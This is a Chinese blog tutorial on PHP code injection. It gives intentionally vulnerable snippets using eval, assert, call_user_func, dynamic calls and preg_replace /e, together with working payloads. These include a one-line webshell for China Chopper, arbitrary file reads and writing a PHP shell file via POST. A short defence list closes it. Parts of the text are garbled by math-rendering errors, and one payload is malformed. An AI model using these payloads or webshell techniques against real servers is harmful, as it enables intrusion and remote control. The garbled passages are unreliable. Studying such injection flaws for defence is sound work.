php命令注入

eval()
<?php

if(isset($_REQUEST['code'])){
@$str=$_REQUEST['code'];

eval($str);

}

?>
<?php

if(isset($_GET['code'])){
@$str=$_GET['code'];

eval($str);

}

?>

提交变量[?code=phpinfo();]

我们提交以下参数也是可以的

[?code=${phpinfo()};]

[?code=1;phpinfo();]

assert()
<?php

if(isset($_GET['code'])){
@$str=$_GET['code'];

assert($str);

}

?>

提交参数 [?code=phpinfo()]

call_user_func()
<?php

if(isset($_GET['fun'])){
$fun=$_GET['fun'];

$para=$_GET['para'];

call_user_func($fun,$para);

}

?>

提交参数[?fun=assert&para=phpinfo()]

动态函数 a ( a( a(b)
<?php

if(isset($_GET['a'])){
$a=$_GET['a'];

$b=$_GET['b'];

$a($b);

}

?>

[?a=assert$b=phpinfo()]

preg_replace()

mixed preg_replace(mixed $pattern,mixed $replacement,mixed KaTeX parse error: Expected 'EOF', got '&' at position 30: …imit = -1[,int &̲count]])

这段代码的含义是搜索 s u b j e c t 中 匹 配 subject 中匹配 subjectpattern 的部分,以 r e p l a c e m e n t 进 行 替 换 , 而 replacement 进行替换,而 replacementpattern处,及第一个参数存在e 修饰时,$replacement 的值会被当成PHP 代码来执行。典型的代码如下

<?php

if(isset($_GET['code'])){
@$str=$_GET['code'];

preg_replace("/
[(.∗)]
/e",'\\1',$code);

}

?>

匹配 c o d e code code中的数据并执行’ '\\1’表示正则第一次匹配的内容

提交参数[?code=[phpinfo()]], phpinfo() 会被执行

以上漏洞利用
获取shell

提交参数[?code=@eval($_REQUEST[1])],即可构成一句话木马,密码为[1]。可以使用菜刀连接

获取当前文件的绝对路径

FILE 是PHP 预定义常量,其含义为当前文件的路径。提交代码[?code=print(FILE);]

读文件

我们可以利用file_get_contents() 函数读取服务器任意文件,前提是知道文件的绝对路径(也可是相对路径)和读取权限

[?code=var_dump(file_get_contents(‘c:\windows\system32\drivers\etc\hosts’));]

写文件

我们可以利用file_put_contents() 函数写入文件,前提是知道可写文件目录。

提交代码[?code=var_dump(file_put_contents( P O S T [ 1 ] , _POST[1], POST[1],_POST[2]));]

此时需要借助与hackbar 通过post 方式提交参数

1=shel.php&2=<?php phpinfo()?>

防御方法

1、尽量不要使用eval(不是函数,是语言结构) 等函数

2、如果使用的话一定要进行严格的过滤

3、preg_replace 放弃使用/e 修饰符

4、修改配置文件

disable_functions=assert

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值